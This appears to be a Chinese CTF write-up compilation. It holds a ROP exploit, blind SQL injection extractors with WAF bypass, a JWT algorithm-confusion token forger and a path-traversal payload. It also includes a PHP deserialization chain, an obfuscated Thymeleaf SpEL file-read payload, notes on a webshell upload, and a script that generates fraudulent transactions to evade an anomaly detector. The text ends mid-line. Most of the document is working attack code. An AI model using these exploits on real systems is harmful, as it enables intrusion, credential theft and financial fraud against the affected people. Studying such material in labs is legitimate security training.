post_body='''POST {route}\r\nContent-Length:{content_length}\r\n\n''' #httpd报文格式
payload=b'setmode='+b'a'*0x440+p64(bss)+p64(rsi)+p64(bss)+p64(0)+p64(rdi)
payload+=p64(4)+p64(rdi+1)+p64(0x401cf0) #调用setmode覆盖栈去调用一次recv把后半段读入到bss上,flag位置确定
p=remote('localhost',9999)
req = post_body.format(route='/setmode',content_length=len(payload)).encode()+payload
req += b'/flag\x00\x00\x00'+p64(rsi)+p64(bss)+p64(0)+p64(rdi)+p64(4)+p64(0x000402663)
p.send(req)
p.interactive()
由于线程的特点,多个线程共用一个栈和bss等等,所以思路就是先用一个线程去写入/flag字符串,同时保持线程不崩溃,使得程序正常维持,这里使用再次回到recv等待接收的方法,等待我连接开启第二个线程,使用第一个线程写入的/flag字符串调用sub_402663函数,输出flag即可。
先运行下面准备接收脚本
from pwn import *
context.arch='amd64'
context.log_level='debug'
e=ELF('./main')
post_body='''POST {route}\r\nContent-Length: {content_length}\r\n\n'''
#0x0000000000402ff3 : pop rdi ; ret
rdi=0x0000000000402ff3
#0x0000000000402ff1 : pop rsi ; pop r15 ; ret
rsi=0x0000000000402ff1
#0x000000000040169d : pop rbp ; ret
rbp=0x000000000040169d
bss=0x406880
'''.text:0000000000401CF0 9B8 B9 00 00 00 00 mov ecx, 0 ; flags
.text:0000000000401CF5 9B8 48 89 C2 mov rdx, rax ; n
.text:0000000000401CF8 9B8 E8 23 F6 FF FF call _recv
'''
payload=b'setmode='+b'a'*0x440+p64(bss)+p64(rsi)+p64(bss)+p64(0)+p64(rdi)
payload+=p64(4)+p64(rdi+1)+p64(0x401cf0)
p=remote('localhost',9999)
req = post_body.format(route='/setmode',content_length=len(payload)).encode()+payload
req += b'/flag\x00\x00\x00'+p64(rsi)+p64(bss)+p64(0)+p64(rdi)+p64(4)+p64(rdi+1)+p64(0x401cf0)
p.send(req)
p.interactive()
再运行下面输出flag脚本
from pwn import *
context.arch='amd64'
context.log_level='debug'
e=ELF('./main')
post_body='''POST {route}\r\nContent-Length: {content_length}\r\n\n'''
#0x0000000000402ff3 : pop rdi ; ret
rdi=0x0000000000402ff3
#0x0000000000402ff1 : pop rsi ; pop r15 ; ret
rsi=0x0000000000402ff1
#0x000000000040169d : pop rbp ; ret
rbp=0x000000000040169d
bss=0x406880
# payload1=b'setmode='+b'a'*0x440
payload=b'setmode='+b'a'*0x440+p64(bss)+p64(rsi)+p64(bss)+p64(0)+p64(rdi)
payload+=p64(4)+p64(0x000402663)
p=remote('localhost',9999)
req=post_body.format(route='/setmode',content_length=len(payload)).encode()+payload
p.send(req)
p.interactive()
过滤了很多东西,但根据提示估计就是一个sql注入绕过
1'|| true是可以返回正确结果的,大胆猜测布尔盲注
防火墙 估计就是过滤了关键词,可以用mysql内敛特性绕过,例如 /*!50000KEYWORD*/,这里面可以被当成正常命令执行,其他的就是传统的布尔盲注就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | Pythonimport requestsimport timeimport sys # 配置参数TARGET_API = "http://example"REQUEST_HEADERS = {"Content-Type": "application/json"}CHAR_SET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZflag{}_!@#$%^&*(),.?/-"REQUEST_INTERVAL = 0.25MAX_RETRY_TIMES = 3 class DataExtractor: """数据提取核心类""" def __init__(self, target_url, headers, char_set): self.target_url = target_url self.headers = headers self.char_set = char_set self.table_name = "where_is_my_flagggggg" def _request_handler(self, query_payload): """请求发送处理器,包含重试和限速处理""" for retry in range(MAX_RETRY_TIMES): try: response = requests.post( self.target_url, json={"query": query_payload}, headers=self.headers, timeout=10 ) if response.status_code == 429: print("\r[警告] 请求频率超限,等待3秒重试...", end="") time.sleep(1) continue time.sleep(REQUEST_INTERVAL) if response.status_code == 200: return response.json() else: return None except (requests.exceptions.RequestException, TimeoutError): time.sleep(1) return None def _condition_verifier(self, condition_expr): """条件验证器:执行条件判断并返回结果""" payload = f"1'||({condition_expr})#" response_data = self._request_handler(payload) if response_data: return response_data.get("count", 0) > 0 return False def _compare_greater(self, target_sub, value): return self._condition_verifier(f"{target_sub}>{value}") def _compare_equal(self, target_sub, value): return self._condition_verifier(f"{target_sub}={value}") def get_length_via_binary(self, target_sub, max_length=200): """二分查找获取目标字符串长度""" left, right = 0, max_length while left < right: middle = (left + right + 1) // 2 if self._compare_greater(f"length({target_sub})", middle - 1): left = middle else: right = middle - 1 if self._compare_equal(f"length({target_sub})", left): return left return 0 def get_char_via_check(self, target_sub, position): """逐字符验证获取目标位置字符""" for char in self.char_set: check_expr = f"substr({target_sub},{position},1)='{char}'" if self._condition_verifier(check_expr): return char return "?" def extract_full_string(self, target_sub, str_length): """提取完整字符串""" extracted_str = "" for pos in range(1, str_length + 1): current_char = self.get_char_via_check(target_sub, pos) extracted_str += current_char sys.stdout.write(f"\r提取进度: {extracted_str}") sys.stdout.flush() print() return extracted_str def get_table_columns(self): """获取目标表的列名列表""" columns_list = [] for col_index in range(5): column_subquery = ( f"(/*!50000select*/column_name" f"/*!50000from*/information_schema.columns" f"/*!50000where*/table_name='{self.table_name}'" f"/*!50000limit*/{col_index},1)" ) col_length = self.get_length_via_binary(column_subquery, 50) if not col_length: break print(f" 列[{col_index}] 长度: {col_length}") column_name = self.extract_full_string(column_subquery, col_length) columns_list.append(column_name) print(f" 列[{col_index}] 名称: {column_name}") return columns_list def get_table_row_count(self): """获取目标表的行数""" row_count_subquery = ( f"(/*!50000select*/count(*)" f"/*!50000from*/{self.table_name})" ) row_number = 0 for num in range(1, 10): if self._compare_equal(row_count_subquery, num): row_number = num break return row_number if row_number > 0 else 1 def extract_column_data(self, column_name, row_count): """提取指定列的数据""" print(f"\n[提取进程] 开始提取 {column_name} 列数据...") for row_index in range(row_count): data_subquery = ( f"(/*!50000select*/{column_name}" f"/*!50000from*/{self.table_name}" f"/*!50000limit*/{row_index},1)" ) data_length = self.get_length_via_binary(data_subquery, 150) print(f" 行[{row_index}] 数据长度: {data_length}") if data_length: extracted_data = self.extract_full_string(data_subquery, data_length) print(f" 行[{row_index}] 数据内容: {extracted_data}") if any(flag_char in extracted_data for flag_char in ["flag", "FLAG", "{", "}"]): print(f"\n{'='*60}") print(f"[找到FLAG] {extracted_data}") print(f"{'='*60}") def run_extraction(self): """执行完整的数据提取流程""" print("="*60) print(f"[启动提取] 目标数据表: {self.table_name}") print("="*60) print("\n[步骤1] 开始提取数据表列名...") table_columns = self.get_table_columns() print(f"\n[提取结果] 检测到列名列表: {table_columns}") print("\n[步骤2] 开始检测数据表行数...") row_count = self.get_table_row_count() print(f"[提取结果] 数据表行数: {row_count}") print("\n[步骤3] 开始提取列数据...") for column in table_columns: self.extract_column_data(column, row_count) # 主函数入口if __name__ == "__main__": extractor = DataExtractor(TARGET_API, REQUEST_HEADERS, CHAR_SET) extractor.run_extraction() |
新注册一个账号,进入feedback路由可看到其进行了数据库操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | JavaScriptmodule.exports = { getUser(username){ let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username); return result; }, checkUser(username){ let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username); return (result === undefined); }, createUser(username, password){ let query = 'INSERT INTO users(username, password) VALUES(?,?)'; db.prepare(query).run(username,password); }, attemptLogin(username, password){ let result=db.prepare(`SELECT * FROM users WHERE username = ? AND password = ?`).get(username,password); return (result !== undefined); }, sendFeedback(message){ db.prepare(`INSERT INTO messages VALUES('${message}')`).run(); }} |
可插入')--进行闭合与注入操作。我们尝试从users表下注出password列的第一条数据(即admin的密码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | Pythonimport requestsimport stringTARGET_URL = "https://example" # 修改为实际地址COOKIES = { "session": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QwMSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY4OTM5MTV9.vwS9rDSVPzLtuf_tJKPdJQ8h4D29uBdpIZSh9BsgWbwOcw1rlJ2RVzhZvQGPxSiF08ZHuePTOiJNuP_pHtttSj78GrP23YLg69ARssznwva0rhLPPi_3cHvJYoYNmnxILV_0sACwOA-fSenn4MYVwqUUXc40d9yqg0jaMDEl8SU"}PASSWORD_LENGTH = 12def check_condition(payload): data = {"message": payload} try: resp = requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=10) return "OK" in resp.text except Exception as e: print(f"[!] 请求错误: {e}") return Falsedef extract_char_simple(position, table="users", column="password"): simple_chars = { 30: '0', 31: '1', 32: '2', 33: '3', 34: '4', 35: '5', 36: '6', 37: '7', 38: '8', 39: '9', 61: 'a', 62: 'b', 63: 'c', 64: 'd', 65: 'e', 66: 'f', 67: 'g', 68: 'h', 69: 'i' } for hex_val, char in simple_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char_double_hex(position, table="users", column="password"): double_hex_chars = { 3641: 'j', 3642: 'k', 3643: 'l', 3644: 'm', 3645: 'n', 3646: 'o', 3730: 'p', 3731: 'q', 3732: 'r', 3733: 's', 3734: 't', 3735: 'u', 3736: 'v', 3737: 'w', 3738: 'x', 3739: 'y', 3741: 'z', 3441: 'J', 3442: 'K', 3443: 'L', 3444: 'M', 3445: 'N', 3446: 'O', 3530: 'P', 3531: 'Q', 3532: 'R', 3533: 'S', 3534: 'T', 3535: 'U', 3536: 'V', 3537: 'W', 3538: 'X', 3539: 'Y', 3541: 'Z', 3231: '!', 3430: '@', 3233: '#', 3234: '$', 3235: '%', 3564: '^', 3236: '&', 3261: '*', 3238: '(', 3239: ')', 3564: '_', 3244: '-', 3362: '.', } for hex_val, char in double_hex_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1))) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char_simple_upper(position, table="users", column="password"): upper_chars = { 41: 'A', 42: 'B', 43: 'C', 44: 'D', 45: 'E', 46: 'F', 47: 'G', 48: 'H', 49: 'I' } for hex_val, char in upper_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char(position, table="users", column="password"): print(f"[*] 正在提取第 {position} 个字符...", end=" ", flush=True) # 先尝试简单HEX (0-9, a-i) char = extract_char_simple(position, table, column) if char: print(f"找到: {char}") return char # 尝试大写字母 A-I char = extract_char_simple_upper(position, table, column) if char: print(f"找到: {char}") return char # 尝试双重HEX (j-z, J-Z, 特殊字符) char = extract_char_double_hex(position, table, column) if char: print(f"找到: {char}") return char print("未找到!") return "?"def extract_password(): print(f"[+] 开始提取密码 (长度: {PASSWORD_LENGTH})") print("-" * 40) password = "" for i in range(1, PASSWORD_LENGTH + 1): char = extract_char(i) password += char print(f"[+] 当前密码: {password}") print("-" * 40) print(f"[+] 提取完成!") print(f"[+] 密码: {password}") return passworddef test_connection(): print("[*] 测试连接...") payload = "')-- " if check_condition(payload): print("[+] 连接成功!") return True else: print("[-] 连接失败,请检查URL") return Falseif __name__ == "__main__": print("=" * 40) print(" SQL盲注 - 密码提取脚本") print("=" * 40) # 修改目标URL url_input = input(f"[?] 输入目标URL (默认: {TARGET_URL}): ").strip() if url_input: TARGET_URL = url_input # 输入Cookie cookie_input = input("[?] 输入session cookie (留空跳过): ").strip() if cookie_input: COOKIES["session"] = cookie_input if test_connection(): extract_password() |
布尔盲注出admin密码为qCYE7LtfJZId,登陆后我们可查看system.log,其中有JWT校验用公钥

拿到公钥后,我们使用公钥重新加密JWT结构体,因为其代码中同时支持HS256和RS256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | JavaScriptconst jwt = require('jsonwebtoken');const fs = require('fs');const publicKey = fs.readFileSync('./publickey.pem', 'utf8');const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');module.exports = { async sign(data) { data = Object.assign(data); return (await jwt.sign(data, privateKey, { algorithm:'RS256'})) }, async decode(token) { return (await jwt.verify(token, publicKey, { algorithms: ['RS256','HS256'] })); }} |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | Pythonimport hmacimport hashlibimport base64import jsonimport time# 公钥 - 必须在末尾加 \nPUBLICKEY = """-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtcZQ4xWg02WgSE2+k9MviV5iUxaEZCYejT8uOYX/QIWQLj7/jAhj/HafzkyWfTaFhoubbpBkY5pWTO3gANvPUVMZ3ytz0VAY57/G20BKS6A36DB4qOqDB3Hzx7Tt3+GhPvOK++7AIJ1xgGFEfueYV5RyMDZ+NizQLLjpV394lHQIDAQAB-----END PUBLIC KEY-----"""def base64url_encode(data): """Base64 URL编码""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')def forge_jwt(username="admin", priviledge="File-Priviledged-User"): """伪造JWT token""" # Header - 使用HS256算法 header = {"alg": "HS256", "typ": "JWT"} # Payload - 必须包含iat字段 payload = { "username": username, "priviledge": priviledge, "iat": int(time.time()) } # 编码 header_b64 = base64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':'))) # 签名消息 message = f"{header_b64}.{payload_b64}" # 使用公钥作为HMAC密钥(关键:公钥必须以\n结尾) signature = hmac.new( PUBLICKEY.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() sig_b64 = base64url_encode(signature) return f"{message}.{sig_b64}"if __name__ == "__main__": print("=" * 60) print(" JWT算法混淆攻击 - 伪造File-Priviledged-User权限") print("=" * 60) token = forge_jwt() print(f"\n[+] 伪造的JWT Token:") print(token) print(f"\n[+] 测试命令 (需要替换TARGET_URL):") print(f"""# 测试主页(应该返回200)curl "TARGET_URL/" -H "Cookie: session={token}" -k# 读取system.logcurl "TARGET_URL/checkfile?file=system.log" -H "Cookie: session={token}" -k# 读取flag(需要找到正确的文件名)# 由于路径截断,输入长度>10会截断为前10字符# 例如:flagXXXXXX.log -> flagXXXXXX (读取./flagXXXXXX)""") # 保存token with open("forged_token.txt", "w") as f: f.write(token) print(f"[+] Token已保存到 forged_token.txt") |
拿到伪造的JWT后我们重新进入路由,checkfile路由现在可利用了,但是存在后缀检测与路径穿越过滤,我们需要考虑绕过其限制读取到flag文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | JavaScriptrouter.get('/checkfile', AuthMiddleware, async (req, res, next) => { try{ let user = await db.getUser(req.data.username); if (user === undefined) { return res.send(`user ${req.data.username} doesn't exist.`); } if (req.data.username === 'admin' && req.data.priviledge==='File-Priviledged-User'){ let file=req.query.file; if (!file) { return res.send('File name not specified.'); } if (!allowedFile(file)) { return res.send('File type not allowed.'); } try{ if (file.includes(' ') || file.includes('/') || file.includes('..')) { return res.send('Invalid filename!'); } } catch(err){ return res.send('An error occured!'); } if (file.length > 10) { file = file.slice(0, 10); } const returned = path.resolve('./' + file); fs.readFile(returned, (err) => { if (err) { return res.send('An error occured!'); } res.sendFile(returned); }); } else{ return res.send('Sorry Only priviledged Admin can check the file.').status(403); } }catch (err){ return next(err); }});const allowedFile = (file) => { const format = file.slice(file.indexOf('.') + 1); return format == 'log';}; |
payload为/checkfile?file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../../../../../../../flag.txt&file=.&file=log,因为构造file为数组后能绕过includes限制,通过slice对每个元素做切割后拼接reslove即可索引到flag文件。

开启靶机观察界面,知为Next.js

考虑到近期的React CVSS 10.0漏洞,我们翻出React2Shell EXP尝试扫描检测
52bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5j5h3y4C8k6i4u0K6j5i4c8&6j5h3#2J5j5i4y4@1L8$3N6A6i4K6u0r3M7X3g2S2j5%4b7J5M7$3S2W2L8r3I4Q4x3X3c8#2L8s2c8A6L8h3q4@1k6b7`.`.
扫描发现报vulnerable,直接获取shell拿下

简单的反序列化

链子串起来后file协议读取/flag即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Bash<?php class C { public $cmd = "file://flag"; }class B { public $worker; } class A { public $handle;} $c = new C(); $b = new B(); $b->worker = $c;$a = new A(); $a->handle = $b;echo serialize($a); ?> |

弱密码admin/admin123登陆进去
题目提示是java,然后看到模板渲染,想到thymeleaf的spel注入
环境变量很好读,但是不知道flag叫什么(提示在根目录下)
File类可以反射调用,但是不能直接命令执行,可以用listRoots把目录文件列出来得到
flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | [[${#strings.class.forName( #strings.concat("org.","spring","framework.","util.","StreamUtils")).getMethod( #strings.concat("copy","ToString"), #strings.class.forName(#strings.concat("java.","io.","InputStream")), #strings.class.forName(#strings.concat("java.","nio.","charset.","Charset"))).invoke( null, #strings.class.forName(#strings.concat("java.","net.","URI")).getMethod( "create", #strings.class.forName(#strings.concat("java.","lang.","String")) ).invoke( null, #strings.concat( #strings.concat("file",":///"), #strings.concat("fla","g_y0u_d0nt_kn0w") ) ).toURL().openStream(), #strings.class.forName(#strings.concat("java.","nio.","charset.","StandardCharsets")).getField( #strings.concat("UTF","_8") ).get(null))}]] |
百度搜dedecms的漏洞,很多都只向后台/dede/login.php,但是不知道用户名密码
我们随便注册一个进去

试了很多 Aa123456789/Aa123456789 成了
进入后台

缩略图这里有个本地文件上传
这里传上去之后改后缀为php,然后输入一句话木马,把删了拼接后面的目录就能拿到flag

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 | PythonThe Silent Heistimport numpy as npimport pandas as pdimport socketimport warningsfrom sklearn.ensemble import IsolationForestfrom sklearn.preprocessing import StandardScalerfrom scipy.stats import gaussian_kdeimport joblib warnings.filterwarnings('ignore') class PerfectFraudGenerator: def __init__(self, normal_data_path='public_ledger.csv'): """初始化生成器,分析正常数据分布""" print("初始化生成器...") # 读取数据 self.data = pd.read_csv(normal_data_path) # 获取特征列 self.feature_columns = self.data.columns.tolist() self.n_features = len(self.feature_columns) self.n_samples = len(self.data) print(f"数据形状: {self.data.shape}") print(f"特征列: {self.feature_columns[:5]}...") # 训练本地Isolation Forest模型来模拟服务器 print("训练本地Isolation Forest模型...") self.scaler = StandardScaler() scaled_data = self.scaler.fit_transform(self.data) # 使用与银行系统相似的参数 self.iso_forest = IsolationForest( n_estimators=100, max_samples='auto', contamination=0.001, # 非常严格的异常检测 random_state=42, bootstrap=False, n_jobs=-1 ) self.iso_forest.fit(scaled_data) # 检查原始数据在本地模型中的表现 predictions = self.iso_forest.predict(scaled_data) normal_count = np.sum(predictions == 1) anomaly_count = np.sum(predictions == -1) print(f"本地模型检测 - 正常: {normal_count}, 异常: {anomaly_count}") # 分析数据统计特性 self.mean = self.data.mean().values self.std = self.data.std().values self.cov = np.cov(self.data.values.T) # 计算数据的马氏距离分布 inv_cov = np.linalg.pinv(self.cov) mahalanobis_dist = [] for i in range(len(self.data)): diff = self.data.iloc[i].values - self.mean dist = np.sqrt(np.dot(np.dot(diff, inv_cov), diff)) mahalanobis_dist.append(dist) self.mahalanobis_stats = { 'mean': np.mean(mahalanobis_dist), 'std': np.std(mahalanobis_dist), 'max': np.max(mahalanobis_dist), 'percentile_95': np.percentile(mahalanobis_dist, 95), 'percentile_99': np.percentile(mahalanobis_dist, 99) } print(f"马氏距离统计 - 均值: {self.mahalanobis_stats['mean']:.2f}, " f"标准差: {self.mahalanobis_stats['std']:.2f}, " f"95百分位: {self.mahalanobis_stats['percentile_95']:.2f}") # 对前几个特征使用KDE print("训练KDE模型...") if len(self.feature_columns) >= 5: kde_features = self.feature_columns[:min(5, len(self.feature_columns))] self.kde = gaussian_kde(self.data[kde_features].T, bw_method=0.2) self.kde_features = kde_features else: self.kde = None def generate_perfect_transactions(self, n=2000, target_amount=2100000): """生成完美交易,确保通过本地Isolation Forest检测""" print(f"\n生成 {n} 笔完美交易,目标金额: ${target_amount:,.2f}") all_transactions = [] attempts = 0 max_attempts = n * 5 # 最多尝试5倍的数量 while len(all_transactions) < n and attempts < max_attempts: attempts += 1 # 批量生成候选交易 batch_size = min(1000, n - len(all_transactions) + 100) candidates = self._generate_candidate_batch(batch_size) # 使用本地Isolation Forest筛选 scaled_candidates = self.scaler.transform(candidates) predictions = self.iso_forest.predict(scaled_candidates) # 只保留被判定为正常的交易 normal_mask = predictions == 1 normal_candidates = candidates[normal_mask] # 计算马氏距离,进一步筛选 if len(normal_candidates) > 0: filtered = self._filter_by_mahalanobis(normal_candidates) all_transactions.extend(filtered) if attempts % 10 == 0: print(f" 尝试 {attempts}: 已收集 {len(all_transactions)}/{n} 个正常交易") if len(all_transactions) < n: print(f"警告: 只收集到 {len(all_transactions)} 个正常交易,使用备选方法...") # 使用备选方法填充 additional = self._generate_safe_fallback(n - len(all_transactions)) all_transactions.extend(additional) # 转换为DataFrame df = pd.DataFrame(all_transactions[:n], columns=self.feature_columns) # 调整金额 self._adjust_amounts_perfectly(df, target_amount) # 再次用本地模型验证 scaled_final = self.scaler.transform(df) final_predictions = self.iso_forest.predict(scaled_final) normal_count = np.sum(final_predictions == 1) anomaly_count = np.sum(final_predictions == -1) print(f"最终验证 - 正常: {normal_count}, 异常: {anomaly_count}") if anomaly_count > 0: print("警告: 仍有异常交易,尝试修复...") df = self._fix_anomalies(df, scaled_final, final_predictions) return df def _generate_candidate_batch(self, batch_size): """生成一批候选交易""" candidates = [] for i in range(batch_size): # 随机选择2-4个原始样本进行凸组合 k = np.random.randint(2, 5) indices = np.random.choice(self.n_samples, k, replace=False) weights = np.random.dirichlet(np.ones(k)) new_tx = np.zeros(self.n_features) for idx, weight in zip(indices, weights): new_tx += weight * self.data.iloc[idx].values # 添加非常小的噪声 noise_scale = 0.01 noise = np.random.normal(0, self.std * noise_scale) new_tx += noise # 确保金额为正 new_tx[0] = np.abs(new_tx[0]) # 如果KDE可用,对部分交易使用KDE重采样 if self.kde is not None and np.random.random() < 0.2: kde_sample = self.kde.resample(1).flatten() # 将KDE样本映射到对应特征 for j, feat in enumerate(self.kde_features): feat_idx = self.feature_columns.index(feat) new_tx[feat_idx] = kde_sample[j] candidates.append(new_tx) return np.array(candidates) def _filter_by_mahalanobis(self, candidates): """使用马氏距离筛选交易""" filtered = [] inv_cov = np.linalg.pinv(self.cov) for candidate in candidates: diff = candidate - self.mean mahalanobis_dist = np.sqrt(np.dot(np.dot(diff, inv_cov), diff)) # 只保留在99百分位以内的交易 if mahalanobis_dist <= self.mahalanobis_stats['percentile_99'] * 1.1: filtered.append(candidate) return filtered def _generate_safe_fallback(self, n): """生成安全的备选交易""" safe_tx = [] for i in range(n): # 使用最保守的方法:轻微修改的原始样本 idx = np.random.randint(0, self.n_samples) base = self.data.iloc[idx].values.copy() # 非常小的修改 modification = np.random.normal(0, self.std * 0.005) new_tx = base + modification # 确保金额在合理范围内 new_tx[0] = np.abs(new_tx[0]) safe_tx.append(new_tx) return safe_tx def _adjust_amounts_perfectly(self, df, target_amount): """完美调整金额,保持分布""" current_total = df.iloc[:, 0].sum() if current_total < target_amount: print(f" 调整金额: ${current_total:,.2f} -> ${target_amount:,.2f}") # 策略:对较大的交易增加更多金额 amounts = df.iloc[:, 0].values sorted_indices = np.argsort(amounts) # 创建缩放因子,对较大金额应用更大的缩放 n = len(amounts) scaling_factors = np.ones(n) # 对后50%的交易应用逐渐增大的缩放 for i, idx in enumerate(sorted_indices[n//2:]): rank = (i + 1) / (n//2) # 0到1之间 # 缩放因子从1.1到1.5 scaling_factors[idx] = 1.1 + rank * 0.4 # 应用缩放 df.iloc[:, 0] = amounts * scaling_factors # 再次检查,如果需要则统一缩放 current_total = df.iloc[:, 0].sum() if current_total < target_amount: final_scale = target_amount / current_total df.iloc[:, 0] = df.iloc[:, 0] * final_scale print(f" 应用最终缩放: {final_scale:.4f}") print(f" 最终金额: ${df.iloc[:, 0].sum():,.2f}") def _fix_anomalies(self, df, scaled_data, predictions): """修复异常交易""" print(f"修复 {np.sum(predictions == -1)} 个异常交易...") anomaly_indices = np.where(predictions == -1)[0] for idx in anomaly_indices: # 找到最近的正常交易 normal_indices = np.where(predictions == 1)[0] if len(normal_indices) > 0: # 计算与所有正常交易的距离 distances = np.linalg.norm( scaled_data[normal_indices] - scaled_data[idx], axis=1 ) nearest_idx = normal_indices[np.argmin(distances)] # 将异常交易向最近的正常交易移动 alpha = 0.7 # 移动比例 df.iloc[idx] = alpha * df.iloc[idx] + (1 - alpha) * df.iloc[nearest_idx] # 确保金额为正 df.iloc[idx, 0] = np.abs(df.iloc[idx, 0]) return df def send_and_get_response(csv_data, host='47.93.84.239', port=32802): """发送数据到服务器并获取响应""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) print(f"连接到 {host}:{port}...") sock.connect((host, port)) print("连接成功!") print(f"发送 {len(csv_data)} 字节...") sock.sendall(csv_data.encode()) # 接收响应 response = b"" try: sock.settimeout(10) while True: chunk = sock.recv(4096) if not chunk: break response += chunk # 检查是否接收完整 if b'[ALARM]' in response or b'[SUCCESS]' in response: break except socket.timeout: print("接收超时,但可能已收到完整响应") sock.close() if response: response_str = response.decode('utf-8', errors='ignore') return response_str return None except Exception as e: print(f"发送失败: {e}") return None def main(): print("="*60) print("The Silent Heist - 完美版本") print("="*60) # 生成完美交易数据 print("\n生成完美交易数据...") generator = PerfectFraudGenerator('public_ledger.csv') # 生成数据 n_transactions = 1800 # 稍少一些,确保质量 data = generator.generate_perfect_transactions( n=n_transactions, target_amount=2100000 ) # 统计信息 total_amount = data.iloc[:, 0].sum() print(f"\n生成完成:") print(f" 交易数量: {len(data)}") print(f" 总金额: ${total_amount:,.2f}") print(f" 平均金额: ${data.iloc[:, 0].mean():,.2f}") print(f" 金额范围: ${data.iloc[:, 0].min():,.2f} - ${data.iloc[:, 0].max():,.2f}") # 检查总金额 if total_amount < 2000000: print("警告: 总金额不足,轻微放大...") scale = 2000000 / total_amount * 1.01 data.iloc[:, 0] = data.iloc[:, 0] * scale total_amount = data.iloc[:, 0].sum() print(f" 放大后总金额: ${total_amount:,.2f}") # 保存到文件 csv_output = data.to_csv(index=False) + "\nEOF" filename = 